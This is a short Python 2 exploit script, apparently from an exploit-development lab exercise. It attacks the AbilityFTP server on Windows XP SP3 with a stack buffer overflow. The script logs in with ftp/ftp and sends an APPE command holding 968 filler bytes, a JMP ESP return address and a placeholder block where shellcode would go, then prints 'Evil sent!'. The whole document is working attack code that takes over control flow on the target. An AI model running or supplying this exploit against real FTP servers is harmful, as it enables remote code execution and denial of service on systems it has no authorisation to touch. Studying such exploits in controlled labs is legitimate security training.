AbilityFTP overflow skeleton phase 4 for xp

AbilityFTPxp-4

#!/usr/bin/python
 
from socket import *
import sys, struct, os, time
 
host = "10.10.10.73"
port = 21
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(2000)
time.sleep(2)
 
buffer = "\x41" * 968
buffer += "\x53\x93\x42\x7E" #7E429353 JMP ESP WinXP SP3 ENG
buffer += "\x43" * 528
buffer += "\r\n"
 
print "[+] length: %d" % (len(buffer))
 
s.send('USER ftp\r\n')
print s.recv(2000)
s.send('PASS ftp\r\n')
print s.recv(2000)
s.send('APPE '+buffer)
print s.recv(2000)
print "[+] Evil sent!"
 
s.close()